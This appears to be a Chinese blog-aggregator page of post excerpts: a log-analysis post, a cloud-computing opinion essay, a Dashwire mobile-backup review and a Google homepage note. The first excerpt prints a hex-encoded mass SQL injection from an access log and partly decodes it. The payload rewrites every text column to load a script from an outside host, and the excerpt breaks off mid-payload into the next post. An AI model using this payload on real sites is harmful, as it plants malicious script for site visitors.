今天在抓虾的日志日常统计中,发现了很多奇怪的日志,例如“zhuaxia.com GET /i/574788694?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0×44 45434C415245204054207661726368617228323535292C404320766172636861722832353529204445 434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E61 6D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220 776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E7874 7970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E 78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046 524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443 485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D2073 6574205B272B40432B275D3D727472696D28636F6E7665727428766172636861722C5B272B40432B27 5D29292B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E7573 6572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272720776865 726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073 72633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F73 63726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F43757273 6F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C 4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.0” 中间是加密的部分,解密后是“DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update [’+@T+’] set [’+@C+’]=rtrim(convert(varchar,[’+@C+’]))+"’”>
IT界是一个特别适合“创新”的地方,尤其是各种各样的术语。各大厂商为了自己的利益,不断的推出一些新的术语,而媒体们也在不断的站队,跟着一些忽悠,搞得我们这些IT界的前线战士们一阵一阵得晕。刚刚有了B/S、C/S、SaaS、SOA、Mash Up以及S+S,现在又出来了云计算。
什么叫云计算?根据维基百科当中的定义(基于某种原因,可能无法访问维基百科):云计算(cloud computing,分布式计算技术的一种,其最基本的概念,是透过网络将庞大的计算处理程序自动分拆成无数个较小的子程序,再交由多部服务器所组成的庞大系统经搜寻、计算分析之后将处理结果回传给用户。透过这项技术,网络服务提供者可以在数秒之内,达成处理数以千万计甚至亿计的信息,达到和“超级计算机”同样强大效能的网络服务。
很深奥的概念,相信很多朋友可能和开心一样,有些云里雾里,真的掉到云里面去了。而且在下面的云计算示例一节当中,又给出了两个简单的云计算案例,即搜索引擎以及网络邮箱。俺就有一些搞不明白了,按照这种示例,所谓的云计算,与B/S以及C/S架构到底有什么不同呢?如果再看看各大媒体举的例子,把一些在线文档编辑器也称之为云计算,那么云计算与SaaS又有什么区别呢?这不就是经典的新瓶装旧酒吗?
其实,云计算的先驱真的不是Google(谷歌)或者微软,而是亚马逊(Amazon)。让我们来看一下所谓的B/S以及C/S架构,如果从分层上来看,其实都是Client to Server的层次(只不过B/S中把C换成了Browser而已)。而无论在Client端还是Server端,都适用于经典的软件销售,在Client端,我们有Office、Windows Vista、Firefxo,而在Server端,则有SQL Server、Oracle、Apache。这些软件都适用于software license的销售模式(软件收费或者支持服务收费)。
而亚马逊的EC2则更改了Server端的software license模式,其最主要的含义是将软件的功能以服务的方式提供出来,然后根据类似于SLA(Service Level Agreement)的方式为其客户提供相应的服务。比如EC2当中的Simple DB,就是一个网络存储服务,类似于SQL Server/Oracle等等,你在开发的时候,不需要安装经典的数据库应用程序在服务器上,根本不用在意我的数据到底存在“哪块云里面”,而且开发的时候还可以使用原来的SQL语句进行CRUD(不知道CRUD是什么意思?赶快做一下功课去吧),任何时间,任何地点,任何设备都可以进行访问。听上去很美吧?
所以云计算其实就是C/S的一个扩展版本,简单可以描述为C to S to S (C/S/S),实质就是一个更新版本的SaaS,服务器端的Software As A Service。大小S之间进行计算以及数据的传输,最终把结果输给C,让C来展示就可以了。而云计算指的其实就是S to S这一端,所以与最终用户根本无关,甚至最终用户根本感觉不到这种改动,所改动的其实就是开发商如何采购其服务而已(是购买软件还是租用服务)。所以俺开心个人认为,传统的搜索引擎以及网络邮箱,或者在线文档编辑器(Google Docs)还称不上什么云计算(当然,你硬说里面也有S to S之类的云端交流,俺也不没有什么理由来说服你)。
ASP(Application Service Provider)其实也是云计算的一个先驱,但它是把应用构建在云端,而不是把服务构建在云端,所以造成了其上的二次开发商非常稀少,而没有建立起完整的生态链系统,最终进入到失败。而云计算由于只是把服务器端的Software更改为Service方式应用(云上的API),所以可以召募很多的二次开发商,从而快速得构建起完整的生态链。相当于IT界的一次洗牌过程,抓住了云也就抓住了未来,对于传统软件厂商来说,其危害要比Open source有过之而无不及。整个生态链可以基本上划分为云间服务提供商(相当于原来的服务器端的软件厂商:微软、甲骨文、IBM等)、应用开发商(基于服务构建应用的厂商,SI或者ISV等)以及最终用户等。
但云计算也不会一帆风顺,肯定会有乌云时期,有兴趣的话,可以去了解一下Amazon的EC2的业绩。我们可以先抛开欧美日印市场,从国内的IT环境来看,无论是从政策、技术或者信用等来说,目前还极度不成熟。非死不可(Facebook)本周在国内的突然病亡会在很长一段时期让大家对于云计算充满怀疑(谁又能够预料哪一天App Engine突然发动不起来了?),现有的云计算的开发模式对于重视技术迁移成本的开发商也处于观望状态。
所以云计算虽然看上去很美,但实际上要走得路还是很长。
在接下来的话题当中,开心还想聊聊云端的梦(从最终用户角度会感觉到的优势)、吞云吐雾的幻术(从开发者角度选择最好的云计算平台)等话题,欢迎大家交流。
从3月底使用Dashwire.com服务以来,就没有再尝试寻找手机客户端软件来备份数据到电脑上了。 现在,所有手机拍照的照片,都被传到上面并被分享出来:146张照片,6个视频。说真的,越来越喜欢这种超简单的手机和Web之间的数据交换、备份、分享方式,软件简单的只要点一个按钮就行了。连线方式也多样:Wifi、Gprs还有USB通过上网电脑。 从自己的使用体验以及所经历的WebApp取代桌面应用和存储的趋势来看,手机中的应用和数据,自然也会逐渐被Web端取代:一方面,手机中的数据越来越多,另一方面,手机联网功能和资费越来越便利。Dashwire.com应当是这种趋势的典型代表。最近Zyb.com被收购,以及Nokia收购多家Mobile SNS网站都在说明布局和抢占。 使用手机的这些年,一直被手机中的数据备份与交换困扰:无论是哪个品牌的手机,提供的与电脑相通连的软件都不好用,有些干脆就很难成功;短信、通讯录等的备份更是存在问题,手机是很个人的工具,相比之下,电脑确常常是多人使用的工具,特别是在家庭环境里。个人很难保护私人的数据隐私。 再考虑国内的情况,很多很多的手机用户并没有自己的电脑,想想看广东、福建等地方打工的人们,这些手机中的数据如何处置呢?难道他们都没有用处,都是垃圾信息而要删除么? Dashwire.com所要做的,就是要试图改变这种状况,他们绕过了手机与桌面端互通备份的方式,选择了手机与Web直接通联:每个人在网络上都可以由自己控制的数据空间,这在桌面端是无法做到的。并且借助手机当中通讯录数据的社会性关系的管理,能够让手机当中的数据在很大程度上互联成一个社会性网络,这样,一个非常诱人的前景就出来了。 也正因为要与Web通联,他们才在开始的时候选择了Windows Mobile智能系统/手机作为他们的切入点,相比之下,WM系手机很多提供Wifi,开发起来也比较简单。当然,Dashwire的目标绝不仅局限于WM,实际上,他们的塞班操作系统下的客户端已经开发许久,相信对于iphone、gphone等智能手机系统的研发也在同期进行。 除了实现手机与Web之间的数据交换,以及通过Web对手机中的数据进行管理之外,Dashwire更是把数据关联到了Web上的其他SNS应用,比如能够发布到Flickr、Twitter、fRIENDfeed、Facebook等,甚至能够获得你从其他设备端发布到这些SNS应用中的数据。这方面,在2月底推出来的2.0版本中,有了很大的加强。 越来越好玩了。 曾经看到有留言说真对Palm系统也有一个类似的服务,不过没有搜索到。Nokia据说也有一个实验性的类似产品,不过有14MB之多(我都糊涂了,这个应该是桌面的吧?)。 厦门这边有家作扫描(OCR)起家的公司,倒是作了一个Nokia下的网盘应用,也能实现Nokia手机下的各种数据,包括照片、通讯录、文件等的网络备份,我没有Nokia手机,没用过,不过从网站方面来看,他们对手机或许比较熟,但是对Web的把握,相对差强人意,至少没有Dashwire那样的专业和纯熟,也难看出有Dashwire那样对战略方向的把握。 这周四到周日,回三明的家里。来之前,在厦门申请了6元的CMWAP套餐(50MB)流量供这四天备用(和CMNet一样可以访问到任何网站,还有一个15元200MB的套餐)。从这几天的使用来看,完全能够满足自己一个月手机拍照的相片(200万像素,每张200 – 300KB)以及其他数据的上传。很显然,这种方式的手机与Web之间的数据交换,能够为一般的手机用户承担的起。 呵呵,谁愿意一起来;D
The Google homepage saw a little change: instead of "©2008 Google" the footer now reads "©2008 - Privacy", with the word "privacy" being linked to Google"s privacy policy help center (which contains videos, legal texts, explanations and so on). Perhaps there may have been legal considerations to do so, too. Google"s Marissa Mayer at the official Google blog says, "Larry and Sergey told me we could only add this to the homepage if we took a w ...
Month Archives:
Top Tags:
Google Internet Technology Company & Product Profiles Search feature Business and Technology column Web2.0 analysis 服务介绍 comment application letter 业界信息 news China2.0 Startups 產業策進 deal 未來趨勢 Search Headlines 創投 业界动态 創業案例 Social Network Google/SEO widget news_in
@2007 All rights Reserved |